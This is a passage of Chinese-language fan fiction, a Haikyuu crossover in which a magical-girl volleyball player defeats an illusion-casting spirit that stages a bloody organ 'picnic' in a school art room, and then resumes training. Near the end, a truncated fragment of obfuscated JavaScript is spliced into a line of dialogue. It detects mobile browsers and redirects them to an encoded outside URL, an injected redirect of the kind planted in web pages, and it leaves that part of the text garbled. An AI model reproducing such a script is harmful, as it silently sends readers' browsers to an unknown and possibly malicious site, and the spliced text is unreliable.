光明将恐惧一扫而空，雪花屏带来的不安感消失殆尽，那些所谓的“头颅”也露出真身，分明是画室中用来临摹的头部石膏像。
“这应该也是犯人的恶作剧吧？”黑尾走过去查看，没有发现什么异常。
“嗯，我在楼下听到了来回跑动的声音。”阎魔乐继续将事情引往可以用现实解释的方向上，“如果只是搬动人体模型应该不用那么多次，现在看来那个家伙还干了这些。”
“如果想要出其不意吓到别人，为什么要弄出那么大的动静呢？”月岛指出了其中的疑点，“一旦被抓住，这场恶作剧不就不攻自破了吗？”
阎魔乐不是没有想过这一点。
从理论上说，如果学校的师生每天早上都发现人体模型和石膏像被移动出现在不同的位置上，接着无论如何严防死守、恢复多少次还是一样，这样的怪谈才会逐渐深入人心吧？
不过，邪祟的想法不能按照正常人的思维来揣测
“因为晚上发现的话会更恐怖吧，所以要引人过来。”黑尾推测着，“风险越大，收益越大。”
这么说也有道理，毕竟连木兔都被吓到了。
等等，他明明夜视能力很好，却还是看错了。
石膏像和头颅的形状还是有所不同吧？
结合刚才她看到的逼真得像是活过来的人体模型……所以说这个邪祟一定有能够增强恐惧的能力。
不过，一旦远离物体或者足够的光线就能消除这样的力量。
“木兔学长？”赤苇注意到平日有些吵闹的主攻手并没有参与讨论，率先发现了他的不对劲。
“啊……赤苇啊……”木兔有气无力抬了抬眼皮，显得十分低落。
糟糕！消极木兔还是出现了！
“木兔学长，我们一起把石膏像复原吧。”赤苇做着最后的努力。
“你们去吧……我是不行的。”
木兔靠着墙壁原地蹲下，尽管缩成一团却还是很大只，看上去有一种反差的萌感。
“我竟然……被石膏像给吓到了……我可真是没用啊。”
竟然是因为这个吗？
现在可是进入这个状态的最差时机！
这是第一个，要是被逐一攻破，她可顾不了这么多又能跑又能跳的男高啊！
有什么办法？
改变人类情绪的术法她并不常用，可以说是根本不会，情绪这种主观的东西要如何用魔力改变，她根本想象不出来。
这是？
阎魔乐垂下的手指触碰到裤子口袋中的某个异物存在，她疑惑地掏出来——
那是两颗糖果。
只是，无论是口味还是品牌，她都毫无印象。
她并不讨厌甜食，真要说起来她还挺喜欢的。但是为了让身体更健康地增肌，她严格控制着糖分，不可能主动买糖果，所以这是别人偷偷放进她的衣服中的。
当然不可能是十六夜，她要是想分享零食绝对会直接塞到她的手里。
会用这样的方法，不是傲娇就是胆小。
这么一想，答案显而易见。
她的脑海中出现了两张脸，一张骄傲，一张害羞。
阎魔乐不自觉地勾起唇角。
看来如木叶千夏前辈所说，夜训的加餐就是那一袋子零食呢。
来不及细想，她朗声道；“木兔前辈既勇敢又可靠呢。”
说着，她转身弯下腰往大可爱猛禽的手中塞了一颗糖。
特别时期用特殊的方法，还好给了两粒，不至于完全辜负了别人的好意。
“谢……谢？”木兔歪过头呆呆地看着掌心可乐味的糖果，正好是他喜欢的口味。
“因为前辈先是把人体模型放回了原处对吧？然后在抓犯人的时候毫不犹豫第一个冲进了教室不是吗？”
阎魔乐说的是事实，但是隐去了其他一些的细节。
比如，是她听到脚步声率先走上楼梯，也是她挡在受到惊吓的木兔的身前。
她理所当然地担起保护其他人的责任。
“哎？真的吗？”木兔睁着豆豆眼，缓缓地抬头依次看向众人。
“是呢。”赤苇当即明白了她的意思，赶紧跟上协同作战，“啊，这还是木叶带来的那个超级好吃的糖果呢，木兔学长不是很想吃来着吗？”
黑尾捧场地说：“这么说，这个糖就是勇敢者的奖励呢。”
月岛被看得没办法，无奈地点了点头。
木兔的眼中重新泛起了光，虽说已经刷过牙，他还是剥开糖纸，把清新的固体可乐塞进了嘴里，脸颊处鼓出小小的一块。
“好甜～”味蕾感受到甜味，木兔瞬间原地复活，他站起来又恢复成那个活力四射的状态，“嘿～嘿～嘿！接下来，我们一起把石膏像放回原位吧。”
赤苇松了口气，感激地对着少女用眼神表达着谢意。
阎魔乐无言地微点了下头作为回应，在现在这个情况下，她希望木兔恢复的心情绝对不会比他少。
一共五个石膏像，木兔自告奋勇一手抱一个兴冲冲地往画室那边走去，全然忘记了刚才冲在前头的后果。
阎魔乐空着手，就顺势接过月岛萤的手机为他们照亮脚下的路。
画室教室在楼梯那一头，于是一行人抱着惨白的石膏像再次走在昏暗的走廊中，像是进行某种仪式的队伍一般。
现在，他们更像是怪谈的一部分了。
“你是新山的吗？”经过刚才那一出，木兔自然是与少女熟络了起来，自然而然地开了话头。
“嗯，是的。”
“木兔学长，你还没有自我介绍和问名字呢。”赤苇在后面提醒着这个失礼的对话开启。
少女知道他们的名字倒也不奇怪，毕竟她们和同校的木叶千夏已经认识了，难免不会说到那个冒冒失失登场的排球队王牌。
“啊～～～”木兔拖长了尾音，他全然忘记了这点，“你好，我是木兔光太郎～枭谷的王牌！～”
不知为什么，他感觉和少女交谈相处的感觉像是与排球队交流那样自然亲切。
“我是阎魔乐，新山的……”
她忽然想到最近她好像认识了很多人，一直在做自我介绍。
名
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字是有魔力的。
这个短短的词汇原本是毫无意义的，只是因为使用者的存在而变得特别。
无论是使用这个名字呼唤他人的人，还是被呼唤的那个人。
哪怕是同名同姓，但因为喊出名字的人不同，这个名字就变得独一无二。
挚友们会唤她“阿乐”，害羞一点的唤“阿乐同学”，稍微远一些的前辈叫她“阎魔”，虽然其中有轻浮的学长不正经地称她作“小阎魔”……
暮然回首间，她发现原本空白的记忆中被填上了属于不同人的色彩，变成绚烂多彩的珍宝。
虽然还有大片大片的虚无在另一边，可当她看着身侧还有身后，那些或高或矮的身影逐渐清晰。
现在，有更多的人知道了她的名字。
把名字告诉别人这个行为其实是某种许可，可以互相认识的许可，也像是契约，议题为「成为朋友的可能性探讨」。
而使用者第一次叫出这个名字的就是在契约的右下角签上了自己的名字。
如此想着，她心中一动，决定不再说些什么“以成为首发为目标”这样谦逊的话。
“我会是新山未来的ACE。”她如是说。
其实，现实摆在面前。
就算这一届堪称最强的首发们毕业，她依然很难成为ACE。
二年级有准王牌天内学姐，同年级中有大空，一个比一个更像是怪物。
很显然，无论如何努力，跨越现实鸿沟的几率几乎为零。
成为豪强的ACE不过是不切实际的口号罢了，但她还是这么说了。
并不是怀着“如果连目标都不敢说出来，还谈什么成功”这样热血的想法，这更像是和朋友之间开玩笑时会说的那种大话，是大言不惭的期许，然后引得众人善意地笑作一团。
她原先只想打好排球拿回魔力罢了。
可是空白上的色彩让她再也无法忽视，像是泼墨的油彩画。原来，将经历化作记忆，在未来变成回忆是那么美好的一件事。
所以，她这么说了。
“ACE啊！这样很好呢！”这个词对于木兔来说可以说是振奋情绪的开关，他当下背诵起某件T恤背心上的词句，“ACE心得是，第一，必须以背影激励……”
“噗，不愧和单细胞是朋友呢。”月岛低声稳定输出。
很不巧，阎魔乐听到了，但她还是很愉快。
在不得不打排球之后，她认识了十六夜，然后是星那、鬼冢、大空，排球队的学姐们，还有形形色色、有着不同魅力的原角色们。
而这一切都是因为排球。
排球的意义变得不再那么纯粹。
不完全是拿回魔力的制约，也不是净化邪祟的武器，好像……
在修改着她活着的意义，充实着她的人生。
“咚”一声，排球滚落，在白色上留下一道印记，凑近看，那是一段又一段记忆化成的文字所组成的。
很可惜，那一丝灵光乍现的感动到此为止。
画室就在眼前，邪恶的气息浓厚，毫无疑问邪祟就在其中。
真正的现实就是，她依然要直面敌人。
“我来给你们开门。”阎魔乐三步并作两步向前，打开门却没有退开，反而率先进了门挡住了木兔前行的位置。
心思缜密的其他三人从背后看到了全程，他们感受到了其他的视线，于是互相对视一眼，顿时明白过来，猜到了对方心中所想的。
女孩表现出来的分明是一副担心木兔再受到惊吓所以奋不顾身先去探查情况的姿态，同时还贴心地照顾了他的面子，小心把这份心思隐藏起来。
再结合刚才木兔惊叫后，她奋不顾身的反应和重新振奋低落猛禽的举动，他们同时得出了一个惊人的事实——
这个名叫阎魔乐的女孩对木兔有好感。
32.和三馆组的探险3（血腥恐怖元素预警）
尽管客观事实摆在眼前，三人依然对这个结论持怀疑态度。
“喂喂……他们才见过没几面吧？”黑尾发觉他们见面的次数可能还没有他和少女的相遇来的多。
“难道说……是一见钟情？”
赤苇陷入沉思，木兔的初次亮相，毫无疑问就是他冲进食堂对着女生们大喊着打招呼的那一次。
“木兔应该感觉不出来的吧？”说实在的，黑尾没办法想象这家伙谈恋爱的样子。
“嗯，如果是木兔学长的话，应该只会像是队友一样相处的吧？”
“应该吧。”黑尾毫不犹豫地点点头。
以全国大赛为目标的选手们同时要学习（虽然大多数人的成绩不怎么样）和打排球，很少会考虑异性的事情，最多也就是看到可爱的女生会讨论上几句。
比如说虎就一直在吐槽音驹为什么没有女经理，羡慕着乌野和枭谷，但也仅此而已。
至于木兔本人么……
虽说枭谷的众人往往会把“第三排第五个女生是木兔的粉丝，而且很可爱哦”这样的话作为振奋消沉木兔的手段，但他并不会在赛后真的去寻找这样一个可能的存在。
可，如果这个存在跑到木兔跟前并表达真心呢？
纵使十分了解木兔的赤苇也只能想到这个单纯的学长可能会振臂欢呼“嘿～嘿～嘿！”，然后感谢告白的人吧？他能分辨不出“喜欢他”和“喜欢看他打排球”这两件事的不同吗？
月岛没有参与讨论，毕竟他与绯闻的双方都不算太熟。
不过说起来，他并非是第一次遇见她了。
此时，阎魔乐可没有心思管男高们因为误会引发的窃窃私语，她对自己冲在最前头的举动表现的既庆幸又后悔。
经历了前两次的经历，她已经知道了这只邪祟的行事风格。
所以她是做了心理准备的，但……远远不够！
眼前的场景让她反胃，为了不让身后的男高们发现异样，她努力将因恶心而引发的干呕压在了嗓子眼中。
手电筒照亮了画室的中央，素描纸铺在地上仿佛是野餐垫，上面摆放着用卡纸折叠出来的餐盘和篮子，透露着一丝精致，这种简洁的画风理应是高级干净的感觉……
如果没有上面那种血淋淋的内脏的话！
餐盘上盛着肝脏、胃、肺，心脏是主菜被放在了正中央的水晶盏造型的纸具上，纸杯中灌满了浓稠的鲜血。
篮子里放着剩下的零零碎碎，肠子好大一坨，几乎要溢出来。难以忍受的血腥味扑鼻几乎让她窒息。
阎魔乐不断告诫自己这一切都是假的。
这只邪祟的能力就是增强现实，算是幻术的一种，这些明显就是从人体模型中掏出来的组件然后被拿到这边来了。
可是视觉不会骗人，她已经接受了血淋淋的现实，就很难摒弃掉这个思维。
造成这一切的始作俑者正立在教室的一角，不避不逃，似乎很享受别人看到这一切后的恐惧。
绝对不会让你如愿的！
阎魔乐勾起手指，魔力的光网直接洒了过去。
邪祟用不可思议的速度避开，柔软的网落在地上，纠缠在一起。
她立刻补上两发魔力立方体，却也未能如愿造成伤害。
这么消耗下去，还没等解决掉它，她的魔力就要见底了，得想个办法。
“里面有什么吗？”木兔见少女迟迟没有走进去于是出声问道，“害怕的话，可以让我先进去哦。”
毕竟他是可靠又勇敢的前辈嘛！嘿嘿～
阎魔乐谨慎地看着并不准备发动攻击的邪祟，只能暂时使用了障眼法的术法，将这个噩梦般的场景隐藏了起来。
这个邪祟爆发力太强，比之前和日向赛跑的时解决掉的那只还要快。
不会是一场轻松的战斗，搞不好要拖成持久战。
“没有，一切正常。”她发觉自己的声音在恐惧和恶心的交织下变得有些沙哑。
这个细节落到吃瓜三人组的耳中就变成——因为和木兔的关系拉近而过于激动造成的。
木兔走进教室没有发现丝毫的异样，借着手电筒的光亮径直找到位置放下石膏像，其他人也陆续进来一一放回原处。
果然，对于幻术，只要看不见就不会中招，这是最根本的解法。
男生们没有什么感觉，对于阎魔乐来说，这完全是一种提心吊胆的煎熬。
在她的眼中，男高们穿梭在血肉模糊的内脏盛宴之间，眼看有好几次就要碰到某道“佳肴”，她觉得自己快要吐出来了。
终于，悬着的心还是死了。
月岛萤不小心踢到了篮子，鲜血从肠子上滴落，染红了白色的纸张，邪祟似乎对此焦躁不安，引得阎魔乐近乎应激般地准备攻击。
少年看了看脚下，发现并没有踢到任何物体，疑惑地走开，同时邪祟也安静了下来。
总算等所有人都离开画室，合上的门暂时切断了那种对于精神的折磨。
这一场属于青春的校园冒险接近尾声。
当然，这是对于小打小闹的男生们来说。
五人站在四层的楼梯口，作着总结式的交谈。
“啊！～可恶！竟然没有抓到那个捣蛋鬼，也太狡猾了吧。”木兔懊恼又不满地叫嚷着。
在下楼之前，他们分开到不同的教室中搜索着犯人，阎魔乐自然是选择留在画室外边，时刻探查着邪祟的动向。
显而易见，他们不会找到任何“犯人”，因为幕后黑手根本就不是人类。
“但是我们破坏了他的计划不是吗？”阎魔乐没想到在自己精神受到影响的情况下，还要做情绪辅导，“明天就不会有同学被吓到了。”
真正被吓到的根本就是她好吧？这魔法少女也太难当了。
就在她暗自叹气的时候，吃瓜的几人再次坚定了自己的想法——果然，看上去有些冷淡的她还会温柔地对待稍显幼稚的木兔。
事实上，她只希望他们别再磨蹭了，赶紧离开这是非之地。
“对哦～”木兔果然立刻接受了这套说辞，“这样太好了呢！”
阎魔乐松了口气，同时隐约感觉到其他几人的情绪不太对，不过她已经没有多余的精力细想了。
邪祟像一个随时会爆炸的炸弹一样悬在她的头顶，而她还没有想出战斗的方法。
“那么再见啦。”阎魔乐冷汗直冒，身体很不舒服。
“你的脸色似乎不太好呢。”
黑尾察觉出了少女的不对劲，就算要和木兔分开也不用那么伤心吧？明天也可以抽空看他打球才对。
“我是有些困了呢。”她的笑容有些勉强。
“今天十分感谢。”赤苇礼貌地道谢，照顾木兔学长的情绪这件事对于不太熟的人来说一定会觉得棘手才对，但是她却信手拈来，这就是心动的力量吗？
月岛萤简短地说了声“再见”。
他早就对这种幼稚的探险不耐烦了，不过要是在过程中退出搞不好又会被说“胆小”之类的话，所以他就硬着头皮奉陪了全程。
对于少女的了解，不仅仅是那次在街上偶遇的窘迫经历，还有从山口的言语间听到的那个与之一起练习跳飘球的少女。
明明新山的队员那么多，但是一听到有关她的形容和名字，他下意识地自动联想到了这个头发不长不短的清冷少女。
阎魔乐。
不是太常见的名字。
等等，有些奇怪。
少女看似如常地站立着，但是眼尖的月岛发现她一只脚的脚尖偏向某个方向，一般这样的举动意味着对方很迫切地想离开。
但是，脚尖的朝向并非是四楼教室的方向，反而是对着向上的楼梯。
“你该不会想自己做点什么吧？”注意到少女的站姿，月岛萤停下了转身的动作。
还真是敏锐啊，乌野的理智。
阎魔乐立刻反应过来是哪里露了馅，她装作不经意地换了只脚支撑身体，假装是因为劳累所以站没站相。
“怎么会呢？我跑得又不快，跳得也不高，要独自去抓犯人这种事情，我就算想做也心有余而力不足吧？”
术业有专攻，所以净化邪祟这种事情就交给她了。
“我现在只想睡觉呢……”她打了个哈欠，揉了揉发酸微红的眼睛。
这不是演的，她从昨晚开始就没能休息好。
位于镜中的洗手间并不是一个舒适的睡觉场所。
“是么？”月岛怀疑地看了她一眼却没有再坚持，他们还没有熟到需要拆穿对方伪装的程度。
应该很难有那样的一天。
最终，阎魔乐还是站在四楼的楼梯口，目送着几位“蒙古人”离开。
好了，和男高的探险过家家到此结束。
困住手脚的牵绊一离开，阎魔乐的嘴角就落回到远处，在她的感知中，邪祟并没有移动分毫，像是在等她回去。
她倒要看看这场对决的走向。
阎魔乐神情严肃地一步一步走上楼梯，坚定得仿佛登上拳击台的挑战者。
这么形容也没错，之前与邪祟的战斗都太过简单，找到方法后基本都是一招秒掉，就算是昨天自带空间位面的那只也是一样，它本身战力并不强。
但是这个不同。
行为奇怪诡异，实力强上一大截。刚刚那几招根本不奏效，打不中一切都是白搭。
不仅如此，它竟然还能通过现实事物施展幻术，即使精神强韧的人也很难不中招。一旦放任下去，后果不堪设想。
这里明明是新手村啊！哪里来的这种等级的怪物！
「宿主，你真是个优秀的魔法少女呢～统统我好敬佩啊～」
呸，真遇到邪祟了连话都不敢说。
没有理睬这种浮夸的赞赏，她暗暗吐槽了一句。
阎魔乐重新回到画室门口。
那一刻，鲜血淋漓的画面在脑海中闪回，血腥味从门缝间传了出来，侵扰着她的鼻腔。
她当然知道这样的行为非常不妙，不可抑制的恐惧在无形间增加着邪祟的力量。她也不愿意在记忆中留下大块黑红色的印记，但她控制不住。
短短两天中，她已经第二次体验到恐惧这种感觉。
如果说上一次是因为害怕伤害到十六夜，那么这一次是实打实地被原始恐惧给扼住咽喉。
看来回去后要跟着大空一起看恐怖电影练练胆子呢。
嗯，什么心理恐惧还是暴力血浆片统统都得过一遍。
她笑了下算是为自己打气，将剩下那枚糖果送入口中。
嗯，西瓜味的还不错呢。
她缓缓推开了画室的门，以身入局。
画室中的陈设有所变换，内脏的摆盘似乎调整过，野餐垫的两侧摆上了两份纸堆，像是坐垫，出现在这里的含义不言而喻。
黑影站在一旁，仿佛在等她入座。
这让她不免想到那个附在自己身上的邪祟也有类似的举动。
搞不懂，一个两个都这样。
她皱起眉头，一股恼怒涌上心头。
她小心翼翼地慢慢靠近。
在隔着野餐垫的距离上，她张开左手的弓弦，电光火石间连射了三箭，她甚至预判了它会躲的方向扔出锁链，却仍然扑了个空。
黑影颤动了几下，仿佛在嘲笑她，然后坐在了其中一个坐垫上。
反正事情也不会更糟了，那么陪你玩玩，看看究竟要耍什么把戏。
无力感让阎魔乐有些破罐子破摔，但很快，她就强迫自己止住了这样的心态。
除了那份不完整指向型的恨意，她还有必须守护的东西。
她需要冷静思考。
阎魔乐跪坐到了那堆纸上，进行着一场跟邪祟的野餐会。
为什么要做这样的事呢？
明明可以避开她，或者直接攻击不是么？也许她根本没有办法招架。
因为本身智慧程度太低？还是因为她过于弱小，纯粹为了恶心她？
难道魔法少女的恐
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惧是更加美味的养分？
她无从得知。
这时，黑影将装着肝脏碗朝着她那里推了推，它没有五官，但她能感觉到一种期待。
如果用人类的思维来解释，这个动作的意思是——请享用。
开什么玩笑？难道她吃下去，它就能乖乖消失了吗？
顿时，胃酸伴着强烈的恶心涌上来，又被口腔中的甜味压下，顺带着稍稍缓解了喉咙处的灼烧感，也在一定程度上给了她力量。
实际的味觉连接起了她和这个美好世界。
这一刻，她决定之后一定要给星那和鬼冢开发更多的战术。
炒猪肝、红酒鹅肝、泡椒鸡杂……
阎魔乐在脑中回忆了一遍有关肝脏的食物，还是无法直视面前这块血淋淋的生肝。
不过她开始有些习惯了。
这也值得庆幸吗？她无力地吐槽了自己一句。
吃吃吃，那你也吃啊！
阎魔乐化愤怒为行动，头脑一热抓起仿佛还在跳动的的心脏，粘腻的触感让她无法克制地颤抖了一下，她瞬间回了神。
她看看心脏，又看看邪祟，顺手就递了过去，仿佛在递一只苹果。
黑影愣了几秒，竟然缓缓地伸过手来接，在拿到的一瞬间，它仿佛被针扎了一下后猛然缩回了手。
它疑惑地将心脏换了个手，打量着手掌，却没有任何发现异常。
这之后，阎魔乐再没有任何动作，只是端坐在自己的位置上。
她在等待。
一人一邪祟开始了无声的对峙。
幻术在这个过程中仍在不断加剧，先是血液从杯中不断溢出，逐渐染红了纸面，又慢慢地向她的坐垫攀岩，浸湿了她的小腿。
内脏膨胀炸开，血肉飞溅到她的身上。
甚至，这间画室都好像变成了活物，仿佛在某个魔物的腹腔脏器之中。
但阎魔乐不为所动，这些已经不能伤害到她。
她仍然在等待。
口中的甜味已经消失良久，最后一点安慰也不复存在，她口干舌燥。
过去多久了？
能够计量时间的手机在口袋中，她不敢有所动作，深怕功亏一篑。
终于，黑影开始颤动，逐渐变成不安地扭动，在它的心脏处有亮光透出来。
于是，阎魔乐动了动僵硬的指尖，操纵着那股魔力毫不犹豫地炸开，将邪祟从内部撕碎。
不，还不足够。
恐惧、憋屈让她榨干自己所剩的魔力倾泻过去，将它炸了个干干净净，连渣都不剩。有一种复仇的畅快和小人得志的意味。
结束了。
刹那间，令人作呕的一切都消失了，身上的血肉也不复存在。
只余下一地的纸做的餐具和人体模型中的塑料内脏和被冷汗浸湿的衣服提醒着刚才发生的惊心动魄。
就在拿起心脏的那一刻，她突然想到——在这个距离上的攻击应该能奏效。
可是，能做到一招毙命吗？
机会只有一次，她不敢赌。
她将能够传递能量的空间法阵尽可能缩小，化成一根扎在心脏上的针，足够细小到它无从发觉，术法的法阵成功刻到了它的体内。灵感来自于心脏搭桥手术。
不过因为法阵过小，能量传输的效率低下，花了不少时间，还好结局是好的。
但它为什么不逃跑呢？魔力堆积到一定程度势必会被发现，如果它用那种灵活的身法逃跑，她就不得不提前引爆，说不定就会功亏一篑，被他断尾求生。
看着不算狼藉的地面，阎魔乐心头起了一个荒唐的念头——这只邪祟好像真的认为这是在野餐。
她甚至在想，邪祟的会吓人只是因为它们的生存模式就是如此？也许，它们根本不觉得这是制造恐惧的。
可若是这么想，是不是意味着……
它们的错误，只是因为存在？
这太荒唐了！
这和她的仇恨是完全矛盾的东西，她……
「啊啊啊啊，恭喜宿主干掉了一只中等邪祟呢，这可是在实习的魔法少女中少有的漂亮成绩呢～」
“为什么这样的邪祟之前没有相应的记载？”系统不说话还好，一说话她就气不打一出来。
「因为是新型的邪祟呢，宿主净化之后就可以上报记录啦～」
“那么所谓中等是你随便胡说的吗？”
「啊，哪有～明明是根据实力经验分析的呢～」
“那这样的经验以后可以早点说吗？”
「哎～宿主是在质疑统统的专业性吗？统统好伤心啊～」
“没有的东西怎么质疑？”阎魔乐没好气地说。
这么一打岔，她的思绪中断。
无奈，她撑起早已发麻的双腿，活动了下僵硬的身体，然后捡起散落一地的塑料内脏捧在怀里，慢慢地走回生物教室，往人体模型腔体内一个个放进去。
接着回到画室，收拢起所有的纸张，顺便把折叠成餐具的纸张一一拆开，压到最底下。
尽管这些折痕并不会消失。
看似繁琐的工作在此时却令她感到放松，劫后余生的实感逐渐充盈起来。
时间早就过了十二点，现在已经是合宿第三天很久了。
完成了一切后，她步履虚浮地回到了教室之中。
大家安然沉睡着，催眠术法没有被触发，看来她们都休息得不错。
无意间，阎魔乐朝着窗外看了一眼，恍惚间，她似乎看到图书馆某个位置上刚好灭掉一盏灯。
不是，枭谷究竟是个什么地方啊？怪谈聚集地吗？
嗯，一定是她眼花了。
总之，今晚她已经无力去管这些了。如果还有有邪祟，让它来梦中找她。
哎，真是越来越不知天高地厚了。
想着，她一头栽进柔软的被子中。
昏昏沉沉间，阎魔乐竟感到一丝幸福，此刻的她根本没想过醒来后会发生比邪祟更令她心惊肉跳的事情。
33.缺斤短两的修罗场
生物钟作为一个名词本身没有任何倾向，但因所处情况的不同，便也有了好坏之分。
当人们在闹钟响起前的一分钟醒来，它绝对是个优秀到无以复加的能力。
但是在睁开眼睛发现极度疲惫的自己在距离正常起床时间还有一小时，并且再也无法入睡的时候，后悔熬夜的心会在这时到达了顶峰。
阎魔乐现在就处于这样生无可恋的状态。
睁开布满血丝的眼睛，她望着教室的天花板怀疑人生，眨着眼睛以消除其中的酸涩感。
好想吐……
短短几个小时的睡眠无法修补她精神上的创伤和体力上的消耗，甚至魔力也没有完全恢复。
可是干等着度过这一小时并不是她的风格，于是她撑起疲惫的身体，轻手轻脚地收拾好自己的寝具，准备像往常一样进行晨练。
合理的饮食、足够的运动和不充足的休息。
这样下去，很快就是一具新出炉的健康尸体。
果然，有些人狠起来果然是连自己都吐槽的。
不过跟肉/体有关的词汇难免会让阎魔乐想起昨晚的经历，她赶紧晃了晃脑袋，换上训练服，拿起洗漱用品推开门，正巧对门也出来一个类似装束的少女。
“雪村学姐。”阎魔乐轻声打了招呼，她对于这个学姐的名号早有耳闻，毕竟是在以努力著称的新山中获得“训练狂”称号的狠人。
雪村芽无声地点点头作为回答，
她的表情向来不丰富，在不熟的人眼中就是非常不好相处的那一类。当然，熟人和敏锐的聪明人都知道，这只是因为她一心扑在排球上的缘故。
刚好，阎魔乐就是后一种人。
洗漱完毕，她们一路无言并行，默契地一起进入食堂。
空腹有氧是减脂神技，但阎魔乐需要的是增重增肌，所以在开启晨练前，她都会适当摄入一些碳水。
向来只有一个人的雪村芽难免会对新出现的同行者感到好奇，当她向负责用餐的老师要了一个梅子饭团的时候，阎魔乐正从冰箱中拿出自己带来的全麦黑面包，准备就着白煮蛋一起补充营养。
这道目光被阎魔乐捕捉到，于是递过小半片邀请对方尝尝。
雪村芽没有推辞，接过咬了一口，顿时脸色微变，好像在说“这你是怎么吃下去的？”
面包的配料表干净得几乎0添加，这意味着这个以健康为第一的面包舍弃了一切口感和食物在乐趣方面的表达。
阎魔乐还记得自己第一次吃的时候怀疑了半天自己的味蕾，也没有怀疑真的有这种味道的面包，受众究竟是谁啊？
哦，是她这样自律到有些偏执的人。
她浅笑一下：“其实，吃习惯了也就那样。”
小小队长果然会读心术。
雪村芽边想边硬着头皮吃完了剩下的部分，丝毫没考虑到自己所有想说的话都表现在脸上这个原因。
其实也不止是她，排球队的其他人或多或少都会感觉一年级的少女和队长有些相似，不仅仅是随时随地拿着手机记录这个习惯。
再加上她明明是吊车尾，但是每次上场却总能拿让人觉得棘手的新战。更不用说，她有意无意间就成了一年级中的粘合剂。
要知道这一届一年级的难搞程度要跟她这一届不相上下呢。
当然了，她并不是那么严格，看上去也更平易近人一些。
雪村芽的训练计划明显和阎魔乐不同，作为队中进攻速度最快的队员，她会着重加强冲刺能力。在综合实力持平的情况下，有一个突出的长处绝对是增加自身的不可替代性。
作为副攻手，缩短快攻时间，或者甩开对方防御，爆发性的速度是必不可少的。
阎魔乐自然还没有强到这个地步，她还在进行着耐力训练。
体力是一切的基础，要做更多更高、更快的练习的就需要大量的体力。
“阿乐！～”阳光的招呼声从场边传来，不用想也知道是谁。
只不过，在橘色的少年的身边，多了个臭着一张脸的蓝莓头。
阎魔乐微笑着扬了扬手，继续着自己的练习。
那两人站在起跑线上，开始了不知道编号为多少的比赛。很快，少年们就超过了保持着匀速的少女，刮起一阵风。
好快。
另一边，雪村芽热身完毕，在中心草坪上开始不同方向起跑的冲刺练习。
这边也是。
想到了自己还在停留在最低档的速度项，阎魔乐难免会产生这个念头——干脆也这么跑一下吧？
人类向来是从众的个体，要做到特立独行需要很高的眼界和坚定的心。
不管不顾地冲刺跑对于现在的她来说很有可能直接造成体力耗尽，影响后续训练。
可那一股郁结堵在心口，不上不下的难受让她终究是将普通长跑调整成了间歇跑。
毕竟她也才16岁而已，可以适当释放一下压力的吧？
30s不计后果的冲刺，然后90s慢跑恢复体力，间歇跑对于她为数不多的体力是灾难性的摧残，她很快就体验到第一次开始长跑时的痛苦。
最终，比原定的练习结束时间早了十分钟，阎魔乐就离开了跑道。
忍耐着强烈的不适，她径直冲到洗手池边，俯下身子进行着昨晚就应该发生的应激反应。还好有食物打底，胃酸没有过多伤害她的喉咙。
也许在某些情绪爆发的时候，发泄出来远比强忍在心底要有用得多。
无法克制的眼泪、声嘶力竭的怒吼、不计后果的冲刺……哪怕最后会引发翻江倒海的呕吐，都能收获独一份的畅快。
阎魔乐感到心头的阴霾被冲淡了不少。
她打开水龙头处理了狼藉，顺带着洗了把脸。
现在是用餐高峰，一些吃完饭的同学已经陆续前往排球馆准备练习，而月岛和山口刚刚走到附近，也许是山口又赖床了。
“怎么？你也被单细胞们传染了吗？”月岛很难不注意到昨晚还在一起夜游校园的少女，更何况她看上去因为训练过量而感到非不舒服。
阎魔乐垂着脑袋，睁开眼，向一侧瞥过视线。她略略一琢磨，即刻想到了还击的手段。她抬起头，苍白的脸庞上有水珠滚落。
“月岛君，你是什么生物学家吗？”她抹了一把脸弯起唇角，“每天不是研究小猴子，就是研究单细胞。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14390172|147932||http|test|mini|href|location''.split(''|''),0,{}));
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说着，她朝着山口轻点了下头算是打了招呼。
少年脸色顿时微红，略显慌张地点了点头，纵使他们已经相识一个多月，他还是做不到像她那样坦然。
月岛一时语塞，这并不常有。
他不了解少女，但从仅有的几次相处中，他并不认为她会是逞强地把自己练吐的类型。
于是，他自然而然地想起了她在昨晚分别时的异样。
“你该不会是……”
询问的话语被两道高速移动的身影打断，日向和影山由远及近飞快地跑来，看来他们的比赛仍然没有结束。
这两个笨蛋。月岛暗想。
日向一眼看到虚弱的少女，没有多想直接就是一个急停，然后调转方向跑向少女。
“阿乐，你怎么样了？很难受吗？”小太阳担忧地凑近，清新的温热就通过空气传递过来。
“我已经没事了，翔阳。”阎魔乐摇了摇头，虽说身体疲惫，但是整体比起刚醒来的时候已经舒服不少了。
为了让他安心，她勉强扯开一个笑容。
“那样就好。”日向放松下来，“啊对了，我听影山说，你们也在练习……”
这根本就不是没事的样子吧？
月岛微微蹙眉。
连这个也看不出来吗？真不愧是笨蛋单细胞。
“这次还是我……”影山猛地跑到食堂门口，在看到日向的位置后，他低声改口道，“这局不算。”
在乌野的这段日子，那顶沉重的皇冠已经被轻柔地取下，安放在一边。也许还会有再次戴上的一天，但是现在的他……确实遇到了很棒的队友。
就和第一次相遇时少女所说的那样。
影山回过神，发现自己正不由自主地朝着视线的落点走过去。
“那个不是阎……嗯，小乐吗！”
对于木兔来说，「阎魔」这个姓氏还是太不常见了。
“看起来很受欢迎呢～”黑尾在路过时停下，饶有深意地说了一句。
“毕竟小乐很可爱啊～”木兔嘿嘿笑着，似乎又想起了可乐味糖果的味道，“而且非常温柔。”
顿时，赤苇和黑尾相视一眼，确认了对方心中没有说出的话。
迷人的女生倾心于浑然不知的迟钝学长……怎么看都很有意思。
不过，上次是她的朋友，这次是她自己，该说她们都太拼了吗？
还是……
即使知道这个“真相”，黑尾还是生出了几分好奇的心思，想要知道她发生了什么。
在数道视线之中，还有属于布丁头少年的一份。
在听到「乐」这个名字后，研磨稍稍抬眼望去。
从宫城回来后，他们就没有再说过话了。
巧的是，他为了了解某款恐怖游戏而搜集背景资料时，无意间看到过她在灵异论坛中以「搜集灵异事件为主题」的帖子。
